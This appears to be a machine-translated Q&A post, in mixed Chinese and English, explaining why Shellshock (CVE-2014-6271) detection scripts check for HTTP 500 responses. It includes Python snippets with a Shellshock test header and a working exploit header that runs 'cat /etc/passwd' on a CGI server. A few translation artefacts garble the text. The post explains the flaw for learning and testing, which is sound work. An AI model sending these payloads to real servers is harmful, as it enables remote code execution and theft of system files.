Shellshock - URL 的响应具有 CGI 扩展名

Shellshock - Response of URL having CGI extension

为什么我们总是检查 shellshock 可利用请求中的 500 响应为什么不检查 200、301 或其他响应?

conn.request("GET", path, headers=headers)
res = conn.getresponse()
if res.status == 500:
    print "Shell Shock Exploitable"

这是检查服务器是否易受 shellshock 漏洞攻击的标准方法。

举个例子,假设我们有一个 bash CGI script running on Apache,可以通过 URL http://localhost/shellshock.cgi 访问,我们发出一个请求来传递一些新的自定义 header,就像这样:

import requests

url = 'http://localhost/shellshock.cgi'

# Checking if the server is vulnerable
headers = {
    'shellshock': '() { :; }; echo vulnerable;'
}
response = requests.get(url, headers=headers)
if response.status_code == 500:
    print('Panic! The server is vulnerable!')
else:
    print('Phew, looks like the server has been patched')

header 本身只是一个看起来像函数定义的虚拟 header (body 有一个空语句),后面跟着一个普通的 echo命令。

现在,根据https://nvd.nist.gov/vuln/detail/CVE-2014-6271

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment.

这意味着在上述情况下,易受攻击的服务器应该 return 500 Internal Server Error

原因是传给服务器的请求header是作为环境变量存储的,这样函数后的echo命令是在函数导入时无意中执行的-- 但是 之前,CGI 脚本开始打印其有效的 headers。

在 Apache 错误日志中,您会看到有关 “格式错误 header”“错误 header”的内容。 =71=] -- 因为在这种情况下,echo 命令 (vulnerable) 的输出是 first 被打印的东西,因此被视为header.

发生 500 错误这一事实让我们知道 某事 出错了。但它不是 full-proof,因为内部服务器错误可能由于任何其他原因而发生。然而,这种方法给出了一个很好的指示。

当然,以上只是简单的说明服务器存在漏洞。一旦我们知道服务器易受攻击,我们就可以尝试像这样利用它:

import requests

url = 'http://localhost/shellshock.cgi'

# Trying to exploit the vulnerability
headers = {
    'shellshock': '() { :; }; echo Content-type: text/html; echo; cat /etc/passwd;'
}
response = requests.get(url, headers=headers)

这里我们只是添加了必要的 Content-type header 后跟空行 before 试图执行任意恶意代码。这可以防止 500 内部服务器错误,从而使恶意代码的输出能够在 CGI 脚本终止时被 returned。

如果我们的漏洞利用成功,那么我们应该从服务器得到一个 200 OK 响应,并查看 /etc/passwd 文件的内容。因此,您也可以将其视为对 shellshock 漏洞的检查 - 一个不仅仅依赖于检查 500 错误的检查。

当然,在上述情况下我们只是回显 /etc/passwd 文件的内容,但我们可以轻松利用 shellshock 对服务器 and/or 其用户造成重大损害。有一篇很好的 Cloudflare 文章探讨了各种可能性。

推荐阅读: